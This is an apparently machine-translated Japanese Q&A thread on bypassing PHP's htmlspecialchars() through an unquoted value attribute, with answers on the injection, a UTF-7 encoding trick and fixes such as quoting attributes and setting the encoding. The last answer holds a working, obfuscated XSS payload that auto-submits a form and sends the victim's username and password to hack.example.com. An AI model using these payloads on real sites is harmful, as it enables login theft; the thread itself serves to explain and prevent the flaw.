web-dev-qa-db-ja.com

値属性のhtmlspecialchars()関数をバイパスするXSS攻撃

このフォームがあり、ユーザーが悪意のあるコードを挿入する可能性のある部分は次のとおりです。

...
<input type=text name=username value=
       <?php echo htmlspecialchars($_POST['username']); ?>>
...

単にタグやjavascript:alert();を置くことはできません。呼び出し、値は文字列として解釈され、htmlspecialcharsは<、>、 '、 "を除外するため、引用符で値を閉じることはできません。

String.fromCode(.....)を使用して引用符を回避することができますが、それでもポップアップする単純なアラートボックスを取得できません。

何か案は?

23
Setzer

また、人々が(データソースではなく)HTMLまたはJavaScriptをページに挿入できるようにしても、固有のセキュリティリスク自体は発生しないことにも注意してください。 WebページのDOMとスクリプトを変更できるブラウザ拡張機能はすでに存在しますが、これはクライアント側だけなので、知っているのはそれらだけです。

XSSが問題になるのは、a)クライアント側の検証または入力フィルタリングをバイパスするためにそれを使用する場合、またはb)入力フィールドを操作するために使用する場合(たとえば、ACLのOPTIONタグの値を変更して、アクセス許可を付与する場合)です。持つべきではありません)。これらの攻撃を防ぐ唯一の方法は、クライアント側の検証の代わりに、またはそれに加えて、サーバー側の入力をサニタイズおよび検証することです。

入力以外のHTMLをサニタイズするには、特定のタグを許可したくない場合を除いて、htmlspecialcharsで十分です。この場合、HTMLPurifierなどのライブラリを使用できます。ユーザー入力をHREF、ONCLICK、またはスクリプトを許可する任意の属性に配置する場合は、問題が発生するだけです。

編集:コードを見ると、属性を引用していないようです!それはかなりばかげています。ユーザー名を次のように入力した場合:

john onclick="alert('hacking your megabits!1')"

次に、スクリプトは次のように解析されます。

<input type=text name=username value=john onclick="alert('hacking your megabits!1')">

常に属性を引用符で囲みます。ユーザーが入力しなくても、入室するのは良い習慣です。

<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
15
Daniel

一つの方法があります。 htmlspecialchars()に3番目のエンコーディングパラメータを渡していないか、エンコーディングを正しくチェックしていないので、次のようにします。

$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';

A)UTF-7を出力するようにページを設定するか、b)ページをだましてそうする場合にのみ機能します(たとえば、明確な文字セットが設定されていないページ上のiframe)。解決策は、すべての入力が正しいエンコーディングであること、および予期されるエンコーディングがhtmlspecialchars()に正しく設定されていることを確認することです。

使い方? UTF-7では、<> "文字はUTF-8/ISO/ASCIIとは異なるコードポイントを持っているため、出力をUTF-8に変換しない限りエスケープされません(iconv拡張を参照)。

10
padraicb

valueは通常のHTML属性であり、Javascriptとは関係ありません。
そのため、String.fromCharCodeはリテラル値として解釈され、実行されません。

スクリプトを挿入するには、最初にパーサーに属性を閉じるように強制する必要があります。これは、>'"なしでは困難です。

属性値を引用符で囲むのを忘れたので、必要なのはスペースだけです。

値を引用しても、まだ脆弱である可能性があります。 このページ を参照してください。

1
SLaks

ダニエルの答えに多少似ていますが、value=最初にダミー値を設定し、次に空白を追加してスクリプトに直接追加し、autofocusを使用してトリックを実行し、入力フィールドを空白に設定し、フォームが送信されたときに実行される送信関数を追加します。ユーザー名とパスワードを選択したURLにリークし、引用符なしで文字列プロトタイプから文字列を作成します(引用符は無害化されるため)。

<body>

<script type="text/javascript">

function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}

redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
0
Niklas